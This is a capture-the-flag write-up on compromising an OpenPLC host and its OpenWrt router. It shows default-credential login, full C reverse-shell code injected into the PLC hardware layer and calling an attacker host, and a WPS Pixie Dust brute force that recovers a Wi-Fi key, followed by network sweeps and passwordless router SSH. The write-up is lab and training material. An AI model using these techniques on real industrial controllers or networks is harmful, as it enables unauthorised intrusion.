Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| content-type: text/html; charset=utf-8
| content-length: 232
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqKBmQ.qUDLSeFzHfomvzpiKCm1IghzzqI; Expires=Thu, 25-Jul-2024 16:52:21 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Thu, 25 Jul 2024 16:47:21 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 302 FOUND
| content-type: text/html; charset=utf-8
| content-length: 219
| location: http://0.0.0.0:8080/login
| vary: Cookie
| set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZqKBmQ.uQSXzMgZoYsw4f0BaTrSPPgiSzY; Expires=Thu, 25-Jul-2024 16:52:21 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Thu, 25 Jul 2024 16:47:21 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: HEAD, OPTIONS, GET
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqKBmQ.qUDLSeFzHfomvzpiKCm1IghzzqI; Expires=Thu, 25-Jul-2024 16:52:21 GMT; HttpOnly; Path=/
| content-length: 0
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Thu, 25 Jul 2024 16:47:21 GMT
| RTSPRequest:
| HTTP/1.1 400 Bad request
| content-length: 90
| cache-control: no-cache
| content-type: text/html
| connection: close
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
|_ </body></html>
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.129.210.186:8080/login
Two ports 22
and 8080
were identified by nmap
and as always I’ll focus first on the HTTP port considering the SSH version is pretty recent1. The HTTP server is based on python 2.7, so definitely a bit outdated since 2.7 is deprecated.
HTTP
The redirect to /login
was already identified by nmap and I see a login screen for OpenPLC
, an open-source Programmable Logic Controller2. A bit of online research finds the default credentials openplc:openplc
3 and those allow me to login.
After login there’s a dashboard showing the current status Stopped and several sub-menus in the navigation pane. There are no other users configured and apparently no programs availabe besides the Dummy empty program from 2018.
Execution
Even though there is no version mentioned anywhere, a quick online search finds a PoC for a remote code execution.
First the code injects C
code for the reverse shell into the hardware layer (/hardware
), originally responsible to translating internal PLC Address variables into physical hardware locations4, and then uploads, compile and run a new program. Doing so will use the (compiled) hardware layer and grant me a reverse shell.
Running the code succesfully injects the following code into the Blank Linux
hardware layer but fails to compile the uploaded program due to a missing file.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
void initCustomLayer()
{
}
void updateCustomIn()
{
}
void updateCustomOut()
{
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.10");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
Since the uploaded program is not actually needed for the reverse shell, I just launch the default Blank Program
from /reload-program
. This compiles the program without an error and I can start the PLC on the dashboard to receive a shell as root
on the box and the first flag within /root
.
Privilege Escalation
The hostname attica01
and the fact that the IP of the box is not mentioned in the output of ip a
, lets me believe that I am actually in a container. It also strikes me as odd that there seems to be a wlan0
interface.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.0.3.2/24 brd 10.0.3.255 scope global eth0
valid_lft forever preferred_lft forever
inet 10.0.3.52/24 metric 100 brd 10.0.3.255 scope global secondary dynamic eth0
valid_lft 2749sec preferred_lft 2749sec
inet6 fe80::216:3eff:fefc:910c/64 scope link
valid_lft forever preferred_lft forever
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
Scanning for any active wireless networks with iw
shows only one, SSID is plcrouter
and having WPS
enabled and that is vulnerable to a Pixie Dust
5 attack.
iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
last seen: 1434.744s [boottime]
TSF: 1721741011232211 usec (19927d, 13:23:31)
freq: 2412
beacon interval: 100 TUs
capability: ESS Privacy ShortSlotTime (0x0411)
signal: -30.00 dBm
last seen: 0 ms ago
Information elements from Probe Response frame:
SSID: plcrouter
Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
DS Parameter set: channel 1
ERP: Barker_Preamble_Mode
Extended supported rates: 24.0 36.0 48.0 54.0
RSN: * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: PSK
* Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
Supported operating classes:
* current operating class: 81
Extended capabilities:
* Extended Channel Switching
* SSID List
* Operating Mode Notification
WPS: * Version: 1.0
* Wi-Fi Protected Setup State: 2 (Configured)
* Response Type: 3 (AP)
* UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
* Manufacturer:
* Model:
* Model Number:
* Serial Number:
* Primary Device Type: 0-00000000-0
* Device name:
* Config methods: Label, Display, Keypad
* Version2: 2.0
There are several tools available to perform such an attack but OneShot.py is neatly contained within a single script and does not require any external dependencies. After transferring the file to the remote host, I execute it to bruteforce the PIN, connect to the router and retrieve the password.
python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00
[*] Running wpa_supplicant…
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[*] Sending WPS Message M2…
[*] Received WPS Message M3
[*] Sending WPS Message M4…
[*] Received WPS Message M5
[+] The first half of the PIN is valid
[*] Sending WPS Message M6…
[*] Received WPS Message M7
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'
[+] AP SSID: 'plcrouter'
Next I create a configuration file by supplying the SSID and the password NoWWEDoKnowWhaTisReal123!
to wpa_passphrase
and redirecting it to a file.
Starting wpa_supplicant
in the background (-B) and providing it the configuration file (-c) as well as the interface to use (-i). There are some errors due to rfkill not availabe but they’re benign in this case.
The status on the wlan0
changed to UP but no IP address was provided. So I’ll run dhclient
to get a new lease from the roouter without applying it to the interface and add the IP manually afterwards.
# Create a configuration file
wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config
# Connect to the access point while running in the background
wpa_supplicant -B -c config -i wlan0
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
# Receive a new DHCP lease for the wlan0 interface
dhclient -1 \
-v \
-sf /bin/true \
wlan0
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/wlan0/02:00:00:00:03:00
Sending on LPF/wlan0/02:00:00:00:03:00
Sending on Socket/fallback
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 3 (xid=0x5f5bc28)
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 5 (xid=0x5f5bc28)
DHCPOFFER of 192.168.1.46 from 192.168.1.1
DHCPREQUEST for 192.168.1.46 on wlan0 to 255.255.255.255 port 67 (xid=0x28bcf505)
DHCPACK of 192.168.1.46 from 192.168.1.1 (xid=0x5f5bc28)
bound to 192.168.1.46 -- renewal in 19949 seconds.
# Set IP
ip addr add 192.168.1.8/24 dev wlan0
Doing a quick ping sweep across the new subnet finds only two hosts, the router and the host I am currently on.
for i in {1..254};
do
$(ping -c1 192.168.1.$i | grep "64 bytes" | cut -d" " -f4 | tr -d ':' >> ips.txt &)
done
tail -f ips.txt
192.168.1.1
192.168.1.8
Repeating the same procedure to find open ports with nc
show 22
, 53
, 80
and 443
open.
for i in {1..1000};
do
$(nc -zv 192.168.1.1 $i 2>&1 | grep -q succeeded && echo "$i" >> ports.txt &)
done
tail -f ports.txt
22
53
80
443
Trying to SSH into router as root
works right away since there is no password set and I can collect the second flag.
ssh 192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash)
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt 23.05.2, r23630-842932a63d
-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
Hint
An alternate approach: The router is running OpenWRT and the login via HTTP also doesn’t require a password. Within OpenWRT it’s possible to schedule tasks with cron6 by navigating to System ⇒ Scheduled Tasks.
With the help of chisel a SOCKS5 proxy can be created to access the configuration page. Getting a reverse shell is a bit tricky since the router can only access the192.168.1.0/24
subnet and the tools available are also very limited, e.g. sh instead of bash, nc without -e flag, …
Attack Path
flowchart TD subgraph "Initial Access" A(Online Research) -->|Default Credentials| B(Acess to OpenPLC) end subgraph "Execution" B -->|Modifying Hardware Layer| C(Shell as root within container) end subgraph "Privilege Escalation" C -->|Bruteforce WPS PIN| D(Connection to WLAN network) D -->|Unsecured SSH| E(Access as root on router) end